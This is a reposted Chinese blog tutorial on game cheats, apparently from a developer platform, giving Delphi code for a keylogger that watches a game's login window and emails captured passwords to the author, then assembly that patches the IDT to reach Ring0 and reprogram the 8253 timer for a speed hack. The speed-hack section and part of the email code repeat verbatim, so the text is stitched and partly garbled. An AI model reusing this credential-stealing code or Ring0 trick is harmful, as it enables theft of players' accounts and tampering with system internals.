[转帖]变速齿轮的一种实现方法(内有中断门的创建与调用)

以前介绍过的动作式,本地修改式外挂是真正意义上的外挂,而今天本文要介绍的木马式外挂,可能大多像木马吧,是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在,所以今天不得不说一下(我个人是非常讨厌这类外挂的,请看过本文的朋友不要到处乱用此技术,谢谢合作)。要做此类外挂的程序实现方法很多(比如HOOK,键盘监视等技术),因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库,所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视,这个程序用这种技术来实现比较适合。
   
在做程序之前我们必需要了解一下程序的思路:
   1
、我们首先知道你想记录游戏的登录窗口名称。
   2
、判断登录窗口是否出现。
   3
、如果登录窗口出现,就记录键盘。
   4
、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。

第一点我就不具体分析了,因为你们比我还要了解你们玩的是什么游戏,登录窗口名称是什么。从第二点开始,我们就开始这类外挂的程序实现之旅:
   
那么我们要怎么样判断登录窗口虽否出现呢?其实这个很简单,我们用FindWindow函数就可以很轻松的实现了:
   HWND FindWindow(

     LPCTSTR lpClassName, // pointer to class name
     LPCTSTR lpWindowName  // pointer to window name
    );
   
实际程序实现中,我们要找到'xx'窗口,就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现,那么我们就可以对键盘信息进行记录了。
   
先首我们用SetWindowsHookEx设置监视日志,而该函数的用法如下:
HHOOK SetWindowsHookEx(

   int idHook, // type of hook to install
   HOOKPROC lpfn, // address of hook procedure
   HINSTANCE hMod, // handle of application instance
   DWORD dwThreadId  // identity of thread to install hook for
  );
   
在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数,来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了,具体实现方法为:
hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
   
HOOKPROC里的函数就要复杂一点点:
function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
if findedtitle then   //
如果发现窗口后
begin
 if (peventmsg(lparam)^.message = WM_KEYDOWN) then  //
消息等于键盘按下
  hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //
keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。
 if length(hookkey) > 0 then  //
如果获得按键名称
 begin
  Write(hookkeyFile,hookkey); //
把按键名称写入文本文件
  hookkey := '';
 end;
end;
end;
   
以上就是记录键盘的整个过程,简单吧,如果记录完可不要忘记释放呀,UnHookWindowsHookEx(hHook),而hHOOK,就是创建setwindowshookex后所返回的句柄。
   
我们已经得到了键盘的记录,那么现在最后只要把记录的这些信息发送回来,我们就大功造成了。其他发送这块并不是很难,只要把记录从文本文件里边读出来,用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下:
  assignfile(ReadFile,'hook.txt'); //
打开hook.txt这个文本文件
  reset(ReadFile); //
设为读取方式
  try
   While not Eof(ReadFile) do //
当没有读到文件尾
   begin
    Readln(ReadFile,s,j); //
读取文件行
    body:=body+s;
   end;
  finally
   closefile(ReadFile); //
关闭文件
  end;
  nmsmtp1.EncodeType:=uuMime; //
设置编码
  nmsmtp1.PostMessage.Attachments.Text:=''; //
设置附件
  nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com'; //
设置源邮件地址
  nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com'; /
设置目标邮件地址

 nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; //设置邮件内容
  nmsmtp1.PostMessage.Subject:='password'; //
设置邮件标题
  nmsmtp1.SendMail; //
发送邮件

 

 2003-5-15    

我一直没有搞懂制作加速外挂是怎么一回事,直到前不久又翻出来了2001年下半期的《程序员合订本》中《变速齿轮研究手记》重新回味了一遍,才有了一点点开悟,随后用Delphi重写了一遍,下面我就把我的心得说给大家听听,并且在此感谢《变速齿轮研究手记》作者褚瑞大虲给了提示。废话我就不多说了,那就开始神奇的加速型外挂体验之旅吧!
原本我一直以为加速外挂是针对某个游戏而写的,后来发现我这种概念是不对的,所谓加速外挂其实是修改时钟频率达到加速的目的。
以前DOS时代玩过编程的人就会马上想到,这很简单嘛不就是直接修改一下8253寄存器嘛,这在以前DOS时代可能可以行得通,但是windows则不然。windows是一个32位的操作系统,并不是你想改哪就改哪的(微软的东东就是如此霸气,说不给你改就不给你改^_^),但要改也不是不可能,我们可以通过两种方法来实现:第一是写一个硬件驱动来完成,第二是用Ring0来实现(这种方法是CIH的作者陈盈豪首用的,它的原理是修改一下IDT->创建一个中断门->进入Ring0->调用中断修改向量,但是没有办法只能用ASM汇编来实现这一切*_*,做为高级语言使用者惨啦!),用第一种方法用点麻烦,所以我们在这里就用第二种方法实现吧~~~
在实现之前我们来理一下思路吧:
1
、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改IDE表、创建中断门,修改向量等工作
2
、调用这个过程来实现加速功能
好了,现在思路有了,我们就边看代码边讲解吧:
首先我们建立一个过程,这个过程就是本程序的核心部份:
procedure SetRing(value:word); stdcall;  
const ZDH = $03;        
// 设一个中断号
var
 IDT : array [0..5] of byte;
// 保存IDT
 OG : dword;          
//存放旧向量
begin

asm
    push ebx
    sidt IDT                  
//读入中断描述符表
    mov ebx, dword ptr [IDT+2]
//IDT表基地址
    add ebx, 8*ZDH  
//计算中断在中断描述符表中的位置
    cli                      
//关中断
    mov dx, word ptr [ebx+6]
    shl edx, 16d              
    mov dx, word ptr [ebx]    
    mov [OG], edx      
    mov eax, offset @@Ring0  
//指向Ring0级代码段
    mov word ptr [ebx], ax        
//低16,保存在1,2
    shr eax, 16d
    mov word ptr [ebx+6], ax      
//高16位,保存在6,7
    int ZDH            
//中断
    mov ebx, dword ptr [IDT+2]    
//重新定位
    add ebx, 8*ZDH
    mov edx, [OG]
    mov word ptr [ebx], dx
    shr edx, 16d
    mov word ptr [ebx+6], dx      
//恢复被改了的向量
    pop ebx
    jmp @@exitasm
//到exitasm
   @@Ring0:    
//Ring0,这个也是最最最核心的东东
     mov al,$34    
//写入8253控制寄存器
     out $43,al
     mov ax,value
 //写入定时值
     out $40,al    
//写定时值低位
     mov al,ah

 out $40,al    //写定时值高位
     iretd        
//返回
  @@exitasm:
  end;
end;
最核心的东西已经写完了,大部份读者是知其然不知其所以然吧,呵呵,不过不知其所以然也然。下面我们就试着用一下这个过程来做一个类似于变速齿轮的一个东东吧!
先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20Min设为1,把Position设为10,在这个控件的Change事件里写上:

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));

因为windows默认的值为$1742,所以我们把1742做为基数,又因为值越小越快,反之越慢的原理,所以写了这样一个公式,好了,这就是变速齿轮的一个DelphiASM版了(只适用于win9X),呵呵,试一下吧,这对你帮助会很大的,呵呵。
win2000里,我们不可能实现在直接对端口进行操作,Ring0也失了效,有的人就会想到,我们可以写驱动程序来完成呀,但在这里我告诉你,windows2000的驱动不是一个VxD就能实现的,像我这样的低手是写不出windows所用的驱动WDM的,没办法,我只有借助外力实现了,ProtTalk就是一个很好的设备驱动,他很方便的来实现对低层端口的操作,从而实现加速外挂。
1
、我们首先要下一个PortTalk驱动,他的官方网站是http://www.beyondlogic.org
2
、我们要把里面的prottalk.sys拷贝出来。
3
、建立一个Protalk.sys的接口(我想省略了,大家可以上http://www.freewebs.com/liuyue/porttalk.pas下个pas文件自己看吧)
4
、实现加速外挂。
本来就篇就是补充篇原理我也不想讲太多了,下面就讲一下这程序的实现方法吧,如果说用ProtTalk来操作端口就容易多了,比win98下用ring权限操作方便。
1
、新建一个工程,把刚刚下的接口文件和Protalk.sys一起拷到工程文件保存的文件夹下。
2
、我们在我们新建的工程加入我们的接口文件
 uses

 windows,ProtTalk……
3
、我们建立一个过程
procedure SetRing(value:word);
begin
 if not OpenPortTalk then exit;
 outportb($43,$34);
 outportb($40,lo(Value));
 outprotb($40,hi(value));
 ClosePortTalk;
end;

4
、先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20Min设为1,把Position设为10,在这个控件的Change事件里写上:

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));


 nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; //设置邮件内容
  nmsmtp1.PostMessage.Subject:='password'; //
设置邮件标题
  nmsmtp1.SendMail; //
发送邮件

 

 2003-5-15    

我一直没有搞懂制作加速外挂是怎么一回事,直到前不久又翻出来了2001年下半期的《程序员合订本》中《变速齿轮研究手记》重新回味了一遍,才有了一点点开悟,随后用Delphi重写了一遍,下面我就把我的心得说给大家听听,并且在此感谢《变速齿轮研究手记》作者褚瑞大虲给了提示。废话我就不多说了,那就开始神奇的加速型外挂体验之旅吧!
原本我一直以为加速外挂是针对某个游戏而写的,后来发现我这种概念是不对的,所谓加速外挂其实是修改时钟频率达到加速的目的。
以前DOS时代玩过编程的人就会马上想到,这很简单嘛不就是直接修改一下8253寄存器嘛,这在以前DOS时代可能可以行得通,但是windows则不然。windows是一个32位的操作系统,并不是你想改哪就改哪的(微软的东东就是如此霸气,说不给你改就不给你改^_^),但要改也不是不可能,我们可以通过两种方法来实现:第一是写一个硬件驱动来完成,第二是用Ring0来实现(这种方法是CIH的作者陈盈豪首用的,它的原理是修改一下IDT->创建一个中断门->进入Ring0->调用中断修改向量,但是没有办法只能用ASM汇编来实现这一切*_*,做为高级语言使用者惨啦!),用第一种方法用点麻烦,所以我们在这里就用第二种方法实现吧~~~
在实现之前我们来理一下思路吧:
1
、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改IDE表、创建中断门,修改向量等工作
2
、调用这个过程来实现加速功能
好了,现在思路有了,我们就边看代码边讲解吧:
首先我们建立一个过程,这个过程就是本程序的核心部份:
procedure SetRing(value:word); stdcall;  
const ZDH = $03;        
// 设一个中断号
var
 IDT : array [0..5] of byte;
// 保存IDT
 OG : dword;          
//存放旧向量
begin

asm
    push ebx
    sidt IDT                  
//读入中断描述符表
    mov ebx, dword ptr [IDT+2]
//IDT表基地址
    add ebx, 8*ZDH  
//计算中断在中断描述符表中的位置
    cli                      
//关中断
    mov dx, word ptr [ebx+6]
    shl edx, 16d              
    mov dx, word ptr [ebx]    
    mov [OG], edx      
    mov eax, offset @@Ring0  
//指向Ring0级代码段
    mov word ptr [ebx], ax        
//低16,保存在1,2
    shr eax, 16d
    mov word ptr [ebx+6], ax      
//高16位,保存在6,7
    int ZDH            
//中断
    mov ebx, dword ptr [IDT+2]    
//重新定位
    add ebx, 8*ZDH
    mov edx, [OG]
    mov word ptr [ebx], dx
    shr edx, 16d
    mov word ptr [ebx+6], dx      
//恢复被改了的向量
    pop ebx
    jmp @@exitasm
//到exitasm
   @@Ring0:    
//Ring0,这个也是最最最核心的东东
     mov al,$34    
//写入8253控制寄存器
     out $43,al
     mov ax,value
 //写入定时值
     out $40,al    
//写定时值低位
     mov al,ah

 out $40,al    //写定时值高位
     iretd        
//返回
  @@exitasm:
  end;
end;
最核心的东西已经写完了,大部份读者是知其然不知其所以然吧,呵呵,不过不知其所以然也然。下面我们就试着用一下这个过程来做一个类似于变速齿轮的一个东东吧!
先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20Min设为1,把Position设为10,在这个控件的Change事件里写上:

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));

因为windows默认的值为$1742,所以我们把1742做为基数,又因为值越小越快,反之越慢的原理,所以写了这样一个公式,好了,这就是变速齿轮的一个DelphiASM版了(只适用于win9X),呵呵,试一下吧,这对你帮助会很大的,呵呵。
win2000里,我们不可能实现在直接对端口进行操作,Ring0也失了效,有的人就会想到,我们可以写驱动程序来完成呀,但在这里我告诉你,windows2000的驱动不是一个VxD就能实现的,像我这样的低手是写不出windows所用的驱动WDM的,没办法,我只有借助外力实现了,ProtTalk就是一个很好的设备驱动,他很方便的来实现对低层端口的操作,从而实现加速外挂。
1
、我们首先要下一个PortTalk驱动,他的官方网站是http://www.beyondlogic.org
2
、我们要把里面的prottalk.sys拷贝出来。
3
、建立一个Protalk.sys的接口(我想省略了,大家可以上http://www.freewebs.com/liuyue/porttalk.pas下个pas文件自己看吧)
4
、实现加速外挂。
本来就篇就是补充篇原理我也不想讲太多了,下面就讲一下这程序的实现方法吧,如果说用ProtTalk来操作端口就容易多了,比win98下用ring权限操作方便。
1
、新建一个工程,把刚刚下的接口文件和Protalk.sys一起拷到工程文件保存的文件夹下。
2
、我们在我们新建的工程加入我们的接口文件
 uses

 windows,ProtTalk……
3
、我们建立一个过程
procedure SetRing(value:word);
begin
 if not OpenPortTalk then exit;
 outportb($43,$34);
 outportb($40,lo(Value));
 outprotb($40,hi(value));
 ClosePortTalk;
end;

4
、先加一个窗口,在窗口上放上一个trackbar控件把其Max设为20Min设为1,把Position设为10,在这个控件的Change事件里写上:

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值